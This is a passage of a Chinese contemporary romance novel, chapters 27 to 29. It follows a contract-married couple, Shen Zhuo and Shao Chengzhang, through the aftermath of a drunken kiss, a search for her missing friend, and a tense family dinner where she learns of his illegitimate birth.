邵成章沉默地盯着她，半晌没动。 他没想到她会用这样一句轻描淡写的“不是本意”来否定昨晚的所有。他更没想到，在她眼里，昨晚的吻，对她来说是个“困扰”，甚至已经到了需要否认的程度。 而他竟然还抱了一丝期待。 真是可笑。 邵成章自嘲般地笑了下，语气却说不出地冷：“沈小姐是有喝醉以后和男人接吻的习惯吗？” 沈灼猛地抬头，惊愕地看着他。 靠！不是做梦！ “当然不是，我没有……”但他怎么可以说出这种话呢。 一声沈小姐，这生疏的称呼，几乎在瞬间将两人这些天累计的那一点点亲密全部抽空。 “没关系，大家都是成年人了，不过是一个吻。”邵成章似笑非笑，“又不需要对彼此负责。” 她缓缓点了点头，喉咙像是被什么哽住了：“……是啊。” 第27章 他不在意。 可是为什么听到邵成章这样说，她并没有感觉松了一口气反而胸口却像压了一块沉石，闷闷的不舒服。 她就知道不能信姜珺的话，邵成章刚刚的样子哪有一点喜欢她的表现啊。也不知道昨晚她回到房间想要给姜珺发消息，打开包发现姜珺的手机还在她这。 沈灼一惊，昨晚姜珺回到家里了吧？ 一股不安猛地涌上心头，沈灼顾不得多想，冲出卧室，急慌慌地去找邵成章。 “邵成章！”她语速快得几乎有点慌，“姜珺呢？就是昨晚和我一起去的朋友……你昨晚有送她回家吗？” 邵成章说：“昨晚我托朋友送她回去了。” “可她的手机在我这里啊。”沈灼下意识地握紧手机，脸上露出明显的担忧。 她查了自己和姜珺的手机，没有陌生电话打过来，那就说明昨晚姜珺没有找手机，也大概率没有回家，沈灼猜测她在酒吧喝醉了。 她顿了顿，吸了一口气，试图让语气别太慌乱：“你能不能……帮我联系一下你那个朋友？问问她现在在哪儿？我有点担心她。” “你先别慌。”她眼底的焦急是藏不住的，邵成章起身拿手机给梁屿琛打了个电话，结果无人接听。 沈灼见打不通，更是着急了，她担心地问：“你朋友是男的女的？” 邵成章直视着她：“你认为我会和女性朋友单独去酒吧吗？” 那就是男的？ 沈灼的脸色倏地沉了下来，“你把我最好的朋友，在她喝醉失联没有手机的情况下，交给一个男人？” 邵成章眉头微蹙，“我朋友不会是那种趁人之危的人，就像昨晚你喝醉了，我也并没对你做什么。” 沈灼瞬间哽住，她感 知到自己刚刚说话有些过激了，于是深呼吸让自己平静下来，“抱歉我不是那个意思，我只是很担心姜珺。”她手撑着额头，原地思考了两秒后，请求他能不能开车带她去他朋友家看一下。 没等邵成章开口，她又补了一句：“拜托了。” 悦澜湾距离梁屿琛家的车程需要半个小时，沈灼坐在副驾一言不发，双手紧握着手机，指尖都发白。 如果姜珺出事，她会自责愧疚一辈子的。 “不会有事的。”邵成章试图安慰她。 “不是你的好朋友失联你当然觉得不会有事了！”沈灼这会儿什么都听不进去，言语之间都带着情绪，没什么好语气。 她已经开始自责了，昨晚怎么能喝醉了呢，怎么能丢下姜珺一个人先走了呢？她有个不好的毛病，凡事先往最坏的情况去想。 邵成章趁着等红灯的间隙转头看她，发现她的手指在微微发颤。他想安慰她，却也不知道该说什么。 恰好手机响起来，是梁屿琛给他回拨的电话。 得知姜珺昨晚在邵成章朋友家安全度过后，沈灼悬着的心总算放下了，“吓死我了，真的吓死我了……”她的声音都有些发颤。 “还有十五分钟就到了。”邵成章说。 “谢谢。”提心吊胆之后瞬间放松下来，沈灼不禁深呼吸，“刚刚不好意思，我不是故意要吼你的，我实在很担心。” “没关系，姜珺很幸运有你这样一个朋友。” “不，”沈灼摇摇头，“和她成为朋友，幸运的人是我。” 沈灼转头看向窗外，突然就回忆起了她和姜珺刚认识的时候，十四年过去，竟然还可以那么清晰。 十五岁的沈灼正值叛逆，因为迟女士误会她早恋，还逼走了爸爸，母女俩经常恶语相向。 她在当时能想到的最简单的报复，就是让曾经名列前茅的自己在新学校里变得一落千丈，让迟女士脸上无光，任谁知道都得和她惋惜一句你家孩子真是可惜了。 当迟女士用恨铁不成钢的语气指责她时，她就可以把原因都推到迟女士身上，一句“都是因为你”就可以让迟女士沉默许久，沈灼看着那张黯然的脸只会觉得得意。 她成功的反击了她的母亲。 “我小时候还挺差劲的吧？”沈灼苦笑了下，又自顾自讲起来。 沈灼被叫到办公室罚站写检查是家常便饭，而姜珺则和她天差地别。 她是经常在国旗下演讲的好学生，是老师一提起就忍不住扬起嘴角的好苗子，就这样的优秀的学生，沈灼没想到她有一天竟然会逃课。 铃声响起，老师们都去上课了，办公室里只剩下她和姜珺。她盯着姜珺，有些好奇，没想到姜珺忽然抬头，四目相对，几乎是同时，两个人莫名笑起来。 “后来是姜珺辅导督促我学习，高二我们如愿考到了一个班，又努力一起去了一所大学。”沈灼顿了顿，“如果没有她，就不会有现在的我。所以她对我来说，真的和家人一样，她是迟女士之外对我最重要的人了。” “这样的友谊，很让人羡慕。”邵成章说。 “难道你没有关系很好很好的朋友吗？”她问。 “没有，大家都是商业伙伴。”邵成章沉默了几秒后说，“而且我已经很习惯一个人了。” 有利益才有永恒。就连梁屿琛，两个人也是有利益上的往来。 沈灼当然知道不是每个人都可以拥有像她和姜珺这样的友谊，但听到他这样讲，心里竟生出莫名的难过，她安慰道：“嗐，人生本就难得知己，孤独才是常态。” 说话间，车子已经开进小区，缓缓停在梁屿琛家楼下。沈灼跟着他上楼，等到门开，她瞬间瞪大眼睛，原来他口中的朋友是她们昨晚在酒吧见过的长发精致男。 邵成章先和沈灼介绍：“这是我朋友梁屿琛，也是‘渡’的老板。梁屿琛，这是沈灼。” 梁屿琛戏谑地看着他：“我知道，沈灼，她说了她也是你朋友。” 沈灼突然想起来昨天梁老板主动问她和会员卡卡主的关系，她很难不怀疑梁老板早已经知道两个人的关系，在故意试探她。 那她昨晚的回答，已然露出马脚。 既然知道，又有什么试探的必要呢？沈灼出神了一瞬。 “你朋友在那间房。”梁屿琛手指了一个方向，将她的思绪拉了回来。 “谢谢。”沈灼冲他点点头，脱了鞋径直往里走。她敲敲门没有人应又推门进去，床上没有人，但是洗手间传来了哗哗水声。 “姜珺，你在吗？”沈灼又敲洗手间的门，门瞬间被打开了，姜珺探出头来，看到是沈灼之后十分惊喜，“你怎么来了！” 沈灼一把推开门，见到她火气之间窜上来，“你要吓死我啊！手机不在身边也不知道借个给我打个电话发个消息，你要是出事了怎么办！” “呀呀呀我能出什么事啊，都这么大人了。”姜珺摇头，“那个，你等我一下，我昨晚没卸妆，带妆睡了一晚，要死。”说完她又回到盥洗台。 沈灼看着姜珺卸妆洗脸，脸颊似乎都记得昨夜邵成章帮她擦卸妆油时的触感，轻柔得像把她当做珍宝一样。沈灼轻咳一声，强迫自己不再去回忆，明明说好了就当无事发生。 为了转移注意力，她又开始“数落”姜珺，“你什么时候能有点安全意识，别这么心大啊，就非得吃亏了才知道人心险恶，才能长个记性吗？！” 水流哗啦哗啦的响，沈灼说话姜珺什么也听不清，就听她乌拉乌拉一直在输出，等洗完脸，她转头看着沈灼，呆呆地问：“啊？你刚刚说什么？” …… 沈灼翻了个大白眼给她，“我真是想打死你算了，成天气人。” 姜珺嘿嘿一笑：“你舍得吗？” “舍得，亏我还担心的要死，让邵成章拉着我过来找你，我就多余，又欠他一人情。” “啊？他也来了？”提到邵成章，姜珺必然是要八卦好奇一番的，“你们昨晚……” 盥洗台一侧的柜子上有全套护肤品，还是贵妇线的那种。姜珺心下咋舌，不知道多少女人在这过夜。她毫不客气地扑了点爽肤水，又涂了个乳液。 “我觉得我再也不要喝酒了。”沈灼叹了口气。 “真有事啊！”姜珺十分诧异。 “还不都是因为你，非说什么接吻肢体接触的，昨晚我好像亲他了。”说完，沈灼手覆上脸，简直无颜再见江东父老。 “我靠！”姜珺惊呼一声，“你太出息了！你竟然主动亲了一个男人！然后呢？” “行了行了，你小点声！”沈灼食指比在嘴巴上，邵成章可还在外面。 姜珺抿起嘴巴，做了个OK的手势，她声音降下来，十分八卦：“你说啊。” “没有然后，接着就睡了。”沈灼觉得这两个字太有歧义，赶紧补充，“单纯的睡觉，我睡床上，他睡地上，你别想多了。” “啊……就这样啊……没意思。”姜珺一脸可惜的样子，而后又一脸鼓励，“没事，也算有进步。” “啊？” “你看，第一次你喝醉了，你答应和他结婚。第二次喝醉，你强吻了他。等到下一次喝醉，你就可以霸王硬上弓！” “……”她明明知道姜珺不靠谱，还愣是期待她能说出来什么正经话。 “你快闭嘴吧，就今天早上他那态度……” “怎么了？”姜珺问。 沈灼想起他一脸冷漠的样子，还质问她是不是有喝醉后亲人的毛病，讲得她好随便一样。她摇摇头说：“感觉他被我冒犯到了，有点生气。” “啊？”姜珺 有点难以置信，“不能吧……”这和她的推理以及想象怎么完全不一样呢…… “总之我和他没可能，你就别瞎想了。”沈灼说，“而且我可能也不是真的喜欢他，万一是假性亲密，错把聊得来当成喜欢呢，万一我对他只是我自己的想象呢……” “好好好停停停！”姜珺制止她，“你为什么不能接受自己喜欢他反而要一直反驳自己。” “我没反驳，我是在理性的分析，而不是被乱七八糟有的没的因素影响到我的判断。”沈灼说，“还有，我不想让自己失控。” 被人影响心情和情绪的感受可实在是太糟糕了。 客厅，梁屿琛坐在单人沙发，冲着邵成章扬扬下巴，笑起来：“昨晚收到一颗勇敢之心了吗？” 哪壶不开提哪壶，邵成章抬头扫了他一眼，懒得搭理他。 梁屿琛和邵成章认识十年了，从他的反应里看出来，和他想象的结果似乎是有很大偏差，他有点惊讶，“不是吧邵总，你不行啊？” 邵成章又甩了一记眼刀给他：“一会儿别乱说话。” “哇哦，看来是落花有意流水无情啊。”难得有人能让邵成章吃瘪，梁屿琛笑出声，“沈灼还挺有意思的。” 邵成章看过去，眼里是严肃的警告。 梁屿琛摊开双手解释：“别误会，她可不是我喜欢的类型。”他认识邵成章这么多年，也见过不少他的追求者，没想到竟然碰着一个他喜欢却不喜欢他的女人。 梁屿琛摩挲着下巴，突然扬起一个看好戏的笑容。 第28章 从梁老板家出来，沈灼告诉邵成章她假期结束前不回悦澜湾了。 邵成章没什么表情，很冷淡地“嗯”了一声，只和她说有事打电话，说完上车就离开了。 姜珺看着渐行渐远的卡宴，不可置信：“不是，他就说个‘嗯’就完了？” “要不然呢？”沈灼淡淡地看了前方一眼，卡宴一拐弯就消失不见了，“都说了他不喜欢我，所以算了。” “好吧……”姜珺知道沈灼的性子，这个意思就是到此为止了。 她微叹口气，“就是觉得你好不容易有个动心的对象，哎……我和你说，这人年纪越大，越难心动，见的人多了，阈值越高。” 沈灼只听进去一句，嗔她一眼，“你才年纪大呢！” 姜珺笑着哄她：“好好好，我们正当时，我们正年轻！” 回家之后，沈灼处理了下手头上的工作，有副导演朋友和她合作过一部剧，相处下来关系还不错，给她发小道消息说是最近两年大火的池骁准备和现公司解约，如果沈灼有意向可以关注一下。 挖掘新的客户也是她的日常工作之一，如果池骁能签下来，那今年的奖金绝对能加不少。 沈灼回了个感谢，接着和对方简单聊了一下近况，最后又以客套的“有时间一起吃饭”的说辞结束聊天。 池骁，当下的娱乐圈顶流，不过因为是非科班出身，也常被网友或者对家拿演技说事，但池骁本人倒是十分谦虚，至少他对外形象是这样的。他正在往正剧赛道转，在央视播出两部上星剧后风评有所上升，但整体路人对池骁的印象还不是演技派，而且在电影领域，他还没有拿得出手的作品。 沈灼搜了一下网上还没有他要解约的消息，下旬有个中国电影青云奖的颁奖典礼，大半个娱乐圈的艺人都会去，池骁也在受邀之列。 那是个认识池骁的好机会。 沈灼又详细地做了一些功课，直到傍晚。 晚上黎雅琦定了包间，因为是主创见面，沈灼作为经纪人不需要去饭局，但还是打电话提醒关司予千万不要迟到，又再三叮嘱他千万不能当着导演的面说他不适合影片风格这类的蠢话。 * 邵成章心情非常不好，回家给阿瑞斯喂食清洁之后，他拿起之前没看完的书却发现怎么也看不进去了。他不停地闪回昨晚沈灼那双湿漉漉的眼睛，就连接吻也睁着眼睛，毫无防备的看着他，撩动他的心弦。 他重重地呼出一口气，起身去了影音室，挑了一部评分很高的悬疑片，强迫自己不再想这件事。两个多小时的电影看完，邵成章发现大哥给他打过电话，他拿起手机回拨了过去。 电话很快被接起，邵成恪说要全家人一起聚聚。 这个全家人，自然也是包括沈灼的。 早晚都有这一天。 挂了电话后，他给沈灼发了一条消息，说后天晚上有家宴，需要她陪他回家一趟。 沈灼收到消息后即便是心里一百个不愿意，可是礼尚往来，她不得不去，更何况这也是他们约定好的协议。 作为儿媳，第一次上门见公婆自然也是不能空手去的，她又给邵成章发消息问他父母都喜欢什么，她提前准备好。 结果邵成章让她什么都不用准备，他会全都准备好。回答意料之中，但是沈灼觉得自己也不能一点都不买，毕竟总不能让他出钱。 家里有年初时合作甲方送的特级芽头藤茶，据说好几千一斤。藤茶入口苦，沈灼不喜欢，便一直没拆，倒不如直接送他父亲。至于他母亲，沈灼打算买一条高奢品牌的围巾和护肤品，加起来和邵成章回她家的价格也不相上下了。 卡里余额哗哗掉，沈灼还有点心疼。 邵成章比约定好的时间提前了十分钟到达沈灼家楼下，便坐在车里等，他是从后视镜里先看到沈灼的。 他微微一怔，又忍不住微翘嘴角。 沈灼看到邵成章下车时，脚步一顿，然后迅速地别开了眼睛。 她今天穿了一件宽松白衬衫，搭配浅卡其阔腿裤，反倒是邵成章比平台休闲很多，穿了一套意式浅卡其休闲西装套装，内搭一件白T恤。 两个人站在一起，很像穿的情侣装。 倘若是黑白灰这种常见色也就罢了，浅卡其相对没有那么常见，能撞到一起也算是心有灵犀的默契。 但这默契，沈灼觉得现在十分没必要。 她有点尴尬地笑了下：“还挺巧。” “嗯。”邵成章同意地点点头，接过来她手中的礼盒放进了后车厢，说道：“不是说不需要你准备。” 沈灼说：“那不一样，你准备的是你的，我准备的是我的。” 有什么不一样，要分这么清楚吗？ 车里播放着舒缓的钢琴曲，但丝毫没缓解沈灼的紧张，她转头撇了一眼导航，路程已经过半了。 她问：“今天只有叔叔阿姨在是吧？”她生怕还有什么别的亲戚，一群人乌央乌央地围着她问东问西。 “还有我大哥大嫂，我大嫂是设计师，出去采风最近才回来。” “啊？”沈灼惊讶地转头看着他，她根本没准备见面礼。 “没关系，我大哥也不会在意这些。”邵成章顿了顿，“而且，他什么也不缺。” “那你知道你大嫂喜欢什么吗？”可以不送男的但要送女的，毕竟那可是妯娌。有时候，妯娌关系可不比婆媳关系轻松。 还没到目的地，路上还可以去商场买。 “不知道。”邵成章看她一眼，悠悠道，“我只会记喜欢的人的喜好。” “……那怎么办啊？”沈灼叹口气。 邵成章撇了一眼导航，“真的不需要准备，而且马上要上高速了。” 她想买也买不了了。 沈灼觉得这几天自己明显不在状态。按理说，以她经纪人出身的敏锐度和处事习惯，这种事本该提前打听清楚，准备周全才对。她竟然出现了失误。 车子又开了一段时间，驶入一片别墅区。她面上不动声色，心里暗暗吃惊，这里是A市赫赫有名的顶级豪宅区，听说随便一栋别墅也要过亿。 她早看出来邵成章家境不差，但没想到，竟然富裕到了这个程度。 车子在一幢中式风格的别墅前缓缓停下，沈灼下车迅速打量周围。 庭院花木扶疏 ，还有水景。不等她细看，青石板尽头的装甲门从内推开，一位穿着考究、气质沉稳的中年男人迎了出来，自称是管家田叔，然后接过他们手中的物品。 沈灼和邵成章并肩走着，指尖忽然一热，邵成章握住了她的手，她没抽出来，由他带着自己进去。 沈灼想起电视剧里那些狗血情节，捂着嘴巴悄悄问：“如果你爸妈不喜欢我，像电视剧那样给我五百万让我和你离婚，我能同意吗？” ？她一天天的都在想什么？难道关司予在娱乐圈里就演这些乱七八糟的东西吗？ 他转头看了她一眼，表情说不清是无奈还是好笑：“给你两倍，不准。” 沈灼瞪大眼睛，震惊地问：“邵成章，你这么有钱吗？” 情趣产业到底是多大的蓝海啊，沈灼在心里咋舌。 话说着就进了门，路过金属镂空屏风和玄关，沈灼听到了主客厅里传来的欢声笑语。 沙发上坐着的妇人温润端正，坐在她一旁和她说话的女孩子非常灵动，两个人正捧着一本册子看。 “妈，Nora，我们回来了。”邵成章牵起沈灼的手，和她们介绍，“这是我妻子沈灼。沈灼，这是我母亲和大嫂。” 沈灼注意到被邵成章喊“母亲”的那位妇人，在抬眼看向他们的刹那就收敛了笑意。 她来不及细想，扬起一个自然得体的笑容，神色落落大方看向坐在沙发上的二人：“妈，大嫂。” “Soren，我说过，不要和别人介绍我是你的‘大嫂’，听着老气得很。”她佯装生气地瞪了邵成章一眼， “在法律关系上你确实是。”邵成章道。 Nora不搭理他，而是几乎跳跃着来到沈灼面前，十分灵动，她神采飞扬地自我介绍，“嗨沈灼，我是商明璇，是Soren哥哥的妻子，可以喊我名字，也可以叫我Nora。” “好的，Nora。”沈灼笑着点点头，她暗自惊讶Nora精致的长相，肌肤白皙透光，五官小巧立体，她脑海中瞬间就跳出来“精灵”这个词。 “你们秀恩爱要不要这么明显，搭配的情侣装哦。”商明璇眼神在二人之间扫了扫，笑着说。 沈灼也不能否认，只能尴尬地笑两声应付过去。 “你好沈灼。”兰芙玉坐着没动，只是淡淡地和她打了个招呼。 “爸和哥呢？”邵成章问。 话音刚落，就听到推拉门的声音，接着邵成恪扶着邵松从隔壁茶室缓缓走出来。 邵成恪身形挺拔，气质沉稳，眉眼和邵成章有几分相似，但五官和气质都柔和许多，老爷子虽已经鬓角斑白，但威严气场不言自显。 上次因为他结婚之事闹得不欢而散，邵成章很怕邵松还没消气，对沈灼说出难听的话，他上前半步，“爸，哥，这是沈灼。” 邵松哼了声，反倒是大哥冲着他笑笑，让他心里有了底。 沈灼又再次喊人，邵松盯了她几秒，小姑娘丝毫不怯，笑盈盈地看着他，邵松这才满意地嗯了声，说了句“坐吧”。 一家人整整齐齐坐在客厅，这时，家里的保姆珍姨过来请示晚餐菜品。沈灼是家里的新成员，她要问清楚有没有什么忌口和喜好。 沈灼在这种正式场合一贯吃得不多，她摆摆手，微笑着说没有。 Nora喜欢吃甜食，家里有在五星级酒店做甜品的甜点师，Nora点名餐后来份芒果西米露，她扭头问沈灼要不要也来一份，沈灼笑着点头说好。 邵成章此时开了口：“珍姨，西米露里把其中一份的牛奶换成椰奶，沈灼有乳糖不耐，不能喝牛奶。” 第29章 沈灼微怔了一下。 乳糖不耐这件事，她记得自己跟陈姨提起过一回，没想到他会记住。 天色尚早，尚未入夜，客厅里那盏华丽的水晶吊灯却已提前打开，温白的灯光在高高的穹顶上洒下一片明净，将客厅笼在一层柔亮中。 她偏头望去，那光落在他脸上，轮廓便多了几分立体的凌厉与清晰。 “哇哦沈灼，Soren对你真的很上心哦。”商明璇眨着眼睛，凑近她打趣道。坐在她另一旁的邵成恪无奈笑笑：“Nora，你这么说会显得我对你不够上心。” “当然没有。”商明璇笑容明显小了很多，对着邵成恪说。 邵松看着两对小夫妻，眼里添了几分欣慰的笑意。他抬手端起茶杯，喝了一口，开口道：“沈灼，你家里知道你们结婚这件事了吗？” 沈灼轻轻点头：“嗯，知道了。他已经回家见过我妈妈。” 他拧眉看向沈灼，问：“那……亲家母对他还满意吗？” 沈灼愣了一下没想到邵松会这么问，“嗯，我妈对他……很满意。” 她决定让良心暂时回避一下。 邵松松了口气似的，说：“便宜这小子了，要我是亲家母，一声不吭把我女儿拐跑了，我绝不让他进门。” 沈灼微微一笑，虽然邵成章进了门，不过也确实是受了些迟女士的刁难。 邵松顺势聊起她的家里与工作情况，还问起找的阿姨怎么样，手脚麻不麻利，做饭口味如何。沈灼一一应对，回答得不卑不亢、从容得体，也全然没有她事先设想的那种审视或者刁难。 邵成章安静地坐在她一旁，上半身始终微倾向沈灼的方向，举手投足间，他甚至可以闻到沈灼喷的香水味。 邵松说道：“下个月是你大哥的婚礼，等这边忙完，再腾出时间安排你们俩的。不过要先和亲家母约个时间见见，再细作商量。”他略一顿，语气一转，微微哼了声，“这小子一点不懂礼数，家长不见，婚礼不办，偷偷摸摸带你去领了证。” 他看着沈灼，语气转为郑重，“你放心，邵家不是什么小门小户，也不是不讲规矩的人家，娶媳妇进门是大事，不能让你委屈了。” 沈灼愣住，连忙摆手解释：“不是的……额……爸，我们是商量过的……主要是平时工作都太忙了，觉得仪式太折腾，所以一开始就说好不办婚礼。” “工作忙，可以晚点办，但不能没有。”邵松眉头皱起。 沈灼心里微微发虚，转头看了眼邵成章，想让他帮忙缓和一下气氛，顺带也打个圆场拒绝办婚礼的提议，谁知下一秒，邵成章却淡淡开口道：“嗯，听爸的。” 沈灼一愣，不可置信地看着他。 婚前说好的不办婚礼的，他怎么这么快就反水了？！ “沈灼穿婚纱一定很好看。”商明璇突然眼睛一亮，转头拉住她的手，“楼上还有我当时选婚纱的品牌册子呢，要不要一起上去看看？” 沈灼有点惊讶，这怎么就扯到要定婚纱了？ “走啦走啦，”商明璇不容拒绝地挽上她胳膊，俏皮地眨眼，“他们几个一聊起工作啊股票啊就没完没了，超级无聊。” 其实沈灼也不喜欢这种场合，她还是更擅长也更喜欢和女孩子聊天，于是对她点点头。 “那爸爸妈妈，我们就先上楼啦？一会儿吃饭我们再下来。”商明璇笑着和邵松、兰芙玉打了声招呼，又朝邵成章抛去一个打趣的眼神，“Soren，沈灼离开一会儿，你不要太想她哦。” 邵成章极浅地笑了下。 沈灼站起来，对着邵松兰芙玉还有邵成恪轻轻点了下头，而后和商明璇上了楼。 邵成章视线一直跟随着沈灼上楼的背影，等转过头来，正对上邵成恪的眼睛，大哥一副了然的表情，正似笑非笑地看着他。 * 商明璇牵着沈灼来到一间卧室，她从柜子里抽出来一本厚厚的册子，里面汇总了各大高奢品牌有名设计师的设计款。商明璇和她说喜欢哪款，可以让品牌的工作坊定制。 沈灼接过册子翻了翻，商明璇在一旁杵着下巴，突然问她：“沈灼，你和S oren是怎么认识的啊？” 沈灼指尖一顿，心里顿时咯噔一下。 完了，这个问题他们事先根本没对过口供，要是一会儿邵成章也被问到，两人说的不一样就穿帮了。 她打了个哈哈：“没什么特别的，就是很普通的相遇。” “听Cullen说，Soren对你一见钟情，他追了你好久。” “啊，他是这么说的啊。”看来邵成章早就和家里提起过她。不过也是，同样被催婚，邵成章和她情况还不一样呢。 “难道不是吗？” “是……吧。”怕露馅她也不敢说不是啊。 商明璇歪着头问她：“那你们平时都做什么啊？” “会一起做饭吃饭，逛超市，要不然就喝点小酒，一起看对方喜欢的电影，随意地聊聊天，逗逗宠物或者在家里工作，其实和其他情侣一样，都是很普通的小事。” 沈灼尽量回忆且美化他们之间发生的那些事的说法，听起来好像他们是真的夫妻。 商明璇听完撅起嘴巴，有些羡慕地说：“可是你说的这些普通的事情，Cullen从来都没有和我做过。” 沈灼一怔，完全没想到商明璇会这么说，很明显，Cullen应该就是邵成恪了，她犹豫着问道：“那你们……” 商明璇笑笑：“我们两家是世交。” “那不是很好嘛，青梅竹马。”邵成恪给人的感觉并不是纨绔子弟花花公子，很温和彬彬有礼。 商明璇反问：“你觉得他喜欢我吗？” 这就有点尴尬了，沈灼心想，这让她怎么回答，她才刚刚见到他们。 “你也看出来他不喜欢我对吧。”商明璇嘟着嘴巴叹气，“可是Soren不一样，能看出来他很爱你。” 嗯？是怎么能误会成这样的……沈灼觉得商明璇的眼睛可能是需要检查一下了。 “是吗？”沈灼回应的很敷衍。 “他和你穿情侣装诶，还记得你喝牛奶会不耐受。大概只有Cullen的秘书才会记得我的喜好吧，每次都是她在挑礼物。而且我观察了好几次，Soren的眼睛就好像黏在你身上。”商明璇一副很夸张的样子，直接逗笑了沈灼。 虽然在法律关系上商明璇是她的大嫂，但是她觉得这个妹妹还挺可爱的，有种被家里从小保护到大不谙世事的天真。 至于成章眼睛黏在她身上这事，她倒是真的不知道，因为刚刚她是面对邵松的，邵成章坐在在她的侧后方向，她看不到。 只能说邵成章演技太好，连细节都把握住了，成功骗住了商明璇。但她不想聊这些，她将话题跳过去，又转到商明璇身上。 “所以你觉得和大哥结婚，他对你只是义务，不是喜欢？”沈灼问，“可你喜欢他，对吗？” “嗯……”商明璇低低应了一声，尴尬地笑了下。 沈灼笑了下，“感情是可以慢慢培养的，如果你认定是他了，可以慢慢来，不过有一点就是千万不要委屈自己，不要迷失自己就好了。”沈灼给出官方的话术。 大道理谁都会说，但是当真的遇到这种事情的时候谁又会那么理智呢。 “那如果他一直不喜欢我怎么办？”商明璇没有信心。 沈灼心里叹口气，富人家的孩子会不会唯一吃过的苦就是感情上的苦。她从来不会因为这种事情烦恼，毕竟这个世界上比男人重要的事情太多了。但听商明璇这意思，两家大概率是联姻，碍于面子可能还要捆绑一辈子，这种情况，对商明璇来说不知道是幸还是不幸。 但该安慰还是要安慰。 “那就去他的。”沈灼哼了一声，“就连粉丝过亿的明星，总还是有人跳出来说不喜欢。不喜欢就不喜欢呗，我们又不是为他们而活的，人活一辈子，总归还是可以找到很多喜欢的人和事。”沈灼对她笑笑，“他不喜欢你，就算他再好，也是他没这福气接不住你的喜欢，你长得这么漂亮，我不许美女内耗。” 被沈灼的自信和积极感染了，商明璇笑了下，发自肺腑地感叹：“怪不得Soren那个冷面怪也会喜欢你，被你拿下。” “冷面怪？”有点意思，她问，“怎么会叫他冷面怪啊。”她印象里邵成章多数严肃，但也不是那种冷冰冰的人。 “因为我认识他的时候就板着一张脸，一开始还以为是妈妈去世所以才会不开心，还把喜欢的玩具送他，结果他看都不看。” 沈灼皱了皱眉，捕捉到那句“妈妈去世”，疑惑道：“他妈妈去世了？” 那楼下坐着的又是谁？ 商明璇明显顿了一下，眼睛瞪大了一瞬，像是意识到自己说漏了嘴，慌忙捂住嘴巴，有些懊恼地看着她：“你……你不知道？哎对不起，我不是故意的……” 怪不得她总觉得兰芙玉的反应怪怪的，加上邵成恪柔和的五官和兰芙玉坐在一起，简直就是翻版，反之，邵成章更像邵松，脸上似乎找不出和兰芙玉相像的地方。 她怔怔问出口：“邵成章和大哥，是……同父异母？” 商明璇咬了咬唇，像是犹豫了很久，最终才小声地点了点头：“沈灼，我真的不是故意要告诉你的，我以为你已经知道他妈妈的事……你千万别跟他提是我说的。” 沈灼却像没听见似的，脑子里忽然一下变得空白，只剩下这一个事实在缓慢地渗透——邵松出轨过，邵成章是……私生子。 “沈灼，你在想什么呢？”商明璇有点担忧地看着她，“你……不会因为这个和Soren离婚吧？” “没有。”沈灼摇了摇头，声音有些轻，“我只是想问……他是什么时候回邵家的？” “大概是十岁吧。”商明璇想了想说。 沈灼怔住了。 才十岁。 那么小的年纪，失去了母亲，还要被带去一个完全陌生的地方。 那些人虽然在血缘上与他有关，可他从来没有在那个家庭中长大，不认识他们，却要突然改口叫“爸爸”、“妈妈”、“哥哥”。 而他们对他的到来，也未必是欢迎的。 怪不得他说他习惯一个人了。 沈灼努力克制住心里翻涌的情绪，但胸口还是慢慢涌上一种沉闷的感觉。 这么多年，他过得是不是也很辛苦？ * 晚餐已经准备好，沈灼和商明璇下楼。 餐厅是八人圆桌，沈灼细细观察着，邵成恪自然地坐在兰芙玉的身旁，邵成章坐在邵松的另一旁。 菜品精致考究，摆了一桌。但整个饭桌上的气氛只觉压抑，只是零丁的碗筷碰撞发出的声音，和她在家的氛围全然不同。 沈灼也只好“入乡随俗”，况且她在这，只会多说多错。 耳朵暂时可以休息，沈灼眼观四路，注意到兰芙玉会先给邵松搛菜，偶尔也会给邵成恪搛菜。 正好转过来一道炝拌木耳停住，沈灼手扶住白瓷石转盘，用公筷给邵成章夹了一块木耳放在他的碟子里。 见邵成章转头震惊地看着她，沈灼眯起眼睛，扬起一个假的不能再假的笑容。 邵成章夹起木耳，犹豫了几秒然后吃了下去。 一顿饭下来，沈灼时不时给邵成章搛几道菜，出演一个体贴的妻子形象。 吃完饭，邵松听说沈灼带的芽头藤茶，说要尝一尝。珍姨将藤茶和芒果西米露一并拿过来。 沈灼端坐在沙发上，捧着西米露小口吃，就是不知道邵成章和邵成恪去了哪里。她解锁看了看手机，还不到八点，连窗外天色也只是刚刚落下黑幕，不知道还要呆在这里多久。 “这茶不错啊。”邵松看了看藤茶，又凑近闻了闻，“沈灼平时喝茶吗？” 沈灼摇头，微笑道：“我喝的不多，也不太懂茶，您喜欢就好。”她下意识再次解锁手机，发现只过去了三分钟。 时间过得好慢，此刻好希望能有人给她打个电话把她叫走。说来也怪，平时手机三五分钟就有消息，今天倒是格外平静。 她只好抬头无聊地打量起客厅的装饰，却 撞进一双熟悉的眼睛。 邵成章和他大哥并肩走进客厅，他远远就看到沈灼的小动作，微不可查地轻翘嘴角，走近后和邵松说自己还有工作要忙，要先回去。 沈灼眼睛倏地亮了起来，他简直是大救星！她放下手中的甜品，站起身准备和这一家子告别。 邵松非要留她喝一口茶再走，她笑着说：“还是成章的工作要紧，爸，下次再来和您喝茶。” 邵成恪夫妇俩送沈灼二人出了大门，上车之后，沈灼终于呼出一口气。 假期结束，沈灼今晚便要跟着邵成章回悦澜湾，她发消息和姜珺说了下，等周末再回去。 沈灼点开日历，问道：“对了，你大哥的婚礼是什么时候？” 邵成章说了个日子，是个周六，沈灼顺手就在日历里标了个重要日。 “我们也要办婚礼吗？”沈灼拧着眉问。 邵成章淡淡地说：“如果你不想，我会推掉，没关系。” “感觉不一样。”沈灼摇摇头，“我们协议结婚只是为了应付家里，两年之后就结束了。如果办婚礼邀请亲朋好友来参加见证是不是有点太正式了，办完婚礼一年后再宣布离婚会有点尴尬吧。” 尤其是婚礼上还要念一些肉麻的誓词给对方听，以及在众目之下接吻，以她和邵成章目前的关系想想都觉得尴尬。 “离婚”两个字落在耳边，邵成章握着方向盘的指节微微收紧，眉头也不自觉蹙起。 她倒是记得清清楚楚。 可他现在不想有有效期了。 “如果我们相处没有重大矛盾，可不可以延长？”邵成章试探地问：“还是说你有喜欢的人了吗？” “啊？”听到他这么问，心脏又没来由地怦怦跳起来，她微微侧头，视线往窗外撇了撇，低声否认：“没有……” 邵成章有点失望，但同时也松了口气，她说没有总比有好。 “如果你有想交往的对象了，可以告诉我。” 沈灼答应得很快：“好啊。” 邵成章听着，心里却堵得难受。 她根本没往他身上想过。也许在她心里，他真的只是一个合作对象，完成两年任务后可以彻底从生活里消失的人。 